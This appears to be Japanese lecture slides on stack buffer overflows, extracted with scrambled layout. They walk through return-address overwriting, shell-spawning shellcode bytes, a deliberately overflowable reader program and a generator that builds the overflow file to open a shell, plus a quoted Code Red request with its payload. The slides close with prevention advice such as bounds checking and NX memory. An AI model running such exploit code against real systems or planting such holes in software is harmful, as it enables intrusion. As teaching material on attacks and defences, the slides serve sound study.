バッファオーバーフロー

4 Byte
buf[0]
バッファオーバーフロー
ESP
buf[1]
buf[2]
テキスト領域
データ領域
EBP
RET Address
1
スタック領域
メモリマップ (データ部)
2
1.スタックの様子をチェックする (p1.c)
int test(int a, int b, int c)
{
int buf[3];
buf[0]
buf[1]
buf[2]
return
3
2.他の関数を実行する (p2.c)
void sub_proc()
{
printf("Hell World!!¥n");
exit(1);
スタックマップ
}
= a;
= b;
= c;
2;
}
int main()
{
test(1, 2, 3);
}
void test_proc()
{
int buf[1];
buf[2] = (int)((void*)sub_proc);
}
% gcc p1.c -c; objdump -d p1.o
int main()
{
test_proc();
}
00000000
0: 55
1: 89
3: 83
6: 8b
9: 89
c: 8b
f: 89
12: 8b
15: 89
18: b8
1d: c9
1e: c3
1f: 90
<test>:
00000020
20: 55
21: 89
23: 83
26: 83
29: b8
2e: 29
30: 83
33: 6a
35: 6a
37: 6a
39: e8
3e: 83
41: c9
42: c3
<main>:
e5
ec
45
45
45
45
45
45
02
e5
ec
e4
00
c4
ec
03
02
01
fc
c4
18
08
e8
0c
ec
10
f0
00
push
mov
sub
mov
mov
mov
mov
mov
mov
00 00
leave
ret
nop
push
mov
08
sub
f0
and
00 00 00
sub
04
sub
push
push
push
ff ff ff
10
add
leave
ret
%ebp
%esp,%ebp
$0x18,%esp
0x8(%ebp),%eax
%eax,0xffffffe8(%ebp)
0xc(%ebp),%eax
%eax,0xffffffec(%ebp)
0x10(%ebp),%eax
%eax,0xfffffff0(%ebp)
mov
$0x2,%eax
00000020 <test_proc>:
20: 55
push
%ebp
21: 89 e5
mov
%esp,%ebp
23: 83 ec 04
sub
$0x4,%esp
26: c7 45 04 00 00 00 00
movl
$0x0,0x4(%ebp)
2d: c9
leave
2e: c3
ret
4 Byte
buf[0]
%ebp
%esp,%ebp
$0x8,%esp
$0xfffffff0,%esp
mov
$0x0,%eax
%eax,%esp
$0x4,%esp
$0x3
$0x2
$0x1
call
3a <main+0x1a>
$0x10,%esp
ESP
EBP (buf[1])
RET Address (buf[2])
スタックマップ
main関数へのリターンアドレスが書き換えられる.
% gcc p2.c -o p2
% ./p2
Hell World!!
3.シェルの起動の例 (p3.c)
int main()
{
char *com[2];
com[0] = "/bin/sh";
com[1] = 0x0;
execve(com[0], com, 0x0);
}
このプログラムはライブラリを呼び出している
ので,あまり一般的ではない.より一般的なシェ
ル呼び出しの(有名な)マシンコードは
0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,
0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b,
0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,
0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f,
0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
となる(アセンブラによって作る)
.
4.プログラムのデータ部の先頭アドレスを調べる
(p4.c)
64 バイトのメモリを確保.もしデータファイルがあれ
ば,そこに 8 0 バイトのデータ読み込む(1 6 バイトオー
バー)
.
最後にメモリの先頭アドレスと状態を128バイト分表示し
てリターン.
#include <stdio.h>
#include <string.h>
#define BUFSZ 64
% p4
bffff870
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
memset(buf, 0, BUFSZ);
fp = fopen("dat", "r");
if (fp!=NULL){
printf("%08x¥n", buf);
for(i=0; i<128; i++) {
printf("%02x ", buf[i]);
if (i%8==7) printf("¥n");
}
}
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
01 00 00 00 02 00 00 00
03 00 00 00 68 a9 15 40
a0 44 01 40 24 f9 ff bf
f8 f8 ff bf 1f 9c 03 40
01 00 00 00 24 f9 ff bf
2c f9 ff bf 44 49 01 40
データ部(buf)の先頭アドレスは 0xbffff870
00000000 <stack>:
0: 55
push
%ebp
1: 89 e5
mov
%esp,%ebp
3: 53
push
%ebx
4: 83 ec 54
sub
$0x54,%esp
4 Byte
0xbffff870
buf[0]∼ buf[3]
buf[4]∼ buf[7]
..............
buf[60]∼ buf[63]
84Byte
for (i=0; i<80; i++)
buf[i] = (unsigned char)fgetc(fp);
}
00
00
00
00
00
00
00
00
24 f9 ff bf 68 a9 15 40
d8 f8 ff bf 28 85 04 08
FILE* fp;
int i;
void stack(int a, int b, int c)
{
unsigned char buf[BUFSZ];
00
00
00
00
00
00
00
00
EBX
本来なら 64Byte
で足りるが,前後
に作 業用 領域 を
確保している
EBP
RET Address
1
2
3
スタックマップ
int main()
{
stack(1, 2, 3);
}
5.バッファオーバーフローを起こすための
データを出力するプログラム (p5.c)
p5 でデータを作成して,p4 に読み込ませると,
データ部へのジャンプアドレスを指定してプロ
グラムを作成
起動する.
p4はバッファーオーバフローを起こしてシェルが
% ./p4
bffff870
#include <stdio.h>
#include <string.h>
eb 18 5e 89 76 08 31 c0
シェル起動コード
88 46 07 89 46 0c b0 0b
#define BUFSZ 128
89 f3 8d 4e 08 8d 56 0c
unsigned char buf[BUFSZ];
unsigned int ret = 0xbffff870;
int mem = 76; // リターンアドレスまでのバイト数
//int mem = 68;
cd 80 e8 e3 ff ff ff 2f
62 69 6e 2f 73 68 58 58
58 58 58 58 58 58 58 58
int main()
{
int i;
static char shell[] = {
0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,
0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b,
0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,
0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f,
0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
};
58 58 58 58 58 58 58 58
58 58 58 58 58 58 58 58
0x58 は’X’
58 58 58 58 58 58 58 58
58 58 58 58 70 f8 ff bf
先頭アドレス
01 00 00 00 02 00 00 00
アドレス以降は読み込
03 00 00 00 68 a9 15 40
まれない(80Byte まで)
a0 44 01 40 24 f9 ff bf
f8 f8 ff bf 1f 9c 03 40
01 00 00 00 24 f9 ff bf
memset(buf, 'X', BUFSZ);
strncpy(buf, shell, strlen(shell));
2c f9 ff bf 44 49 01 40
sh-2.05$
buf[mem]
=
buf[mem+1] =
buf[mem+2] =
buf[mem+3] =
buf[BUFSZ-1]
ret & 0xff;
(ret>>8) & 0xff;
(ret>>16) & 0xff;
(ret>>24) & 0xff;
= '¥0';
for (i=0; i<BUFSZ; i++) printf("%c", buf[i]);
}
つまり,バッファーオーバフローを起こさせる
には,そのプログラムのデータ部のアドレス
(ジャンプさせるアドレス)が必要.クラッカーが
% ./p5 > dat
捜し求めるのは,このアドレス.ただし,再配置
% od -tx1 dat
0000000
0000020
0000040
0000060
0000100
0000120
*
0000160
eb
89
62
58
58
58
18
f3
69
58
58
58
5e
8d
6e
58
58
58
可能なプログラムでは,通常このアドレスは作動
89
4e
2f
58
58
58
76
08
73
58
58
58
08 31 c0 88 46 07
8d 56 0c cd 80 e8
68 58 58 58 58 58
58 58 58 58 58 58
58 58 58 58 58 58
58 58 58 58 58 58
89
e3
58
58
58
58
46
ff
58
58
70
58
0c
ff
58
58
f8
58
b0
ff
58
58
ff
58
0b
2f
58
58
bf
58
条件により変化する.
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00
参考:
「ハッカープログラミング大全」 UNYUN, DATA
HOUSE
6.実際のバッファオーバーフロー (CODE Red)
219.9.186.80 - - [25/May/2003:04:20:24 +0900]
レジスタに格納されている!!
そこで..
..
.
"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
5.
例外ハンドラへのアドレスとして 0x7801cbd3
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
へ制御を飛ばすことができれば,Windows のこ
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
の部分のプログラムを実行できる.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
6.0x7801cbd3 には EBX レジスタが示すアドレ
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
スを実行しなさいと言う命令が書いてある.こ
%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 281 "-" "
れはWindowsが用意してあるサービスルーチン
(Windows さんよ,有難う!!)
ウィルス本体はこの後に送られてくる.
7.これで,バッファーオーバーフローを起こし
た近辺のバイナリコードを実行できてしまう.
プログラム部分の逆アセンブラ
00fbf0e8
90
nop
00fbf0e9
90
nop
00fbf0ea
58
pop eax
00fbf0eb
68d3cb0178 push 0x7801cbd3
00fbf0f0
90
nop
7. バッファオーバーフローの防止
7-1. for プログラマ
C 言語などでは,メモリのスタック(auto 変数)
を使用する場合は常にメモリサイズをチェックす
る(昔からこれでもかと言うくらい言われ続けて
いるが,それでも一向に,いつまで経っても無く
ならない ...)
.
Java の場合は一般プログラマが出来る(するべ
き)ことはない.ただし,Java もコアは他の言語
で書かれているので,システム自体にバグがある
かもしれない.
00fbf0f1
90
nop
00fbf0f2
90
nop
00fbf0f3
90
nop
00fbf0f4
90
nop
00fbf0f5
81c300030000
00fbf0fb
8b1b
mov ebx, [ebx]
add ebx, 0x300
00fbf0fd
53
push ebx
00fbf0fe
ff5378
call near [ebx+0x78]
1.Windowsではリターンアドレスが変更された場
合などは,自動的に例外ハンドラに制御が移る
(通常は「ページ違反が起こりました」などの
表示)
.この例外ハンドラはプログラマが指定
可能である.
2.例外ハンドラのプログラムへのアドレスは,
リターンアドレス付近に書かれることが多い.
3.例外が起こったアドレスが特定できれば,
バッファーオーバーフローにより例外ハンドラ
へのアドレスを書き換えて,バッファーオー
バーフローを起こしたアドレス付近へジャンプ
することができる.これにより,任意のプログ
ラムを実行できるが,このアドレスは毎回変化
する.
4.ただし,この例外の起こったアドレスは EBX
7-2. for CPU, OS
最近のIntelのCPUは「No Execute(NX) memory
protection」機能を搭載している.これはメモリ
内のプログラム領域とデータ部分を識別し,デー
タ領域のコードを実行しないようにするものであ
る.この機能を有効にするには,OS もこれに対応
している必要がある.今度の Windows Vista は
対応している(らしい).
ただし,この機能を使用するとプログラムの柔
軟性は失われる.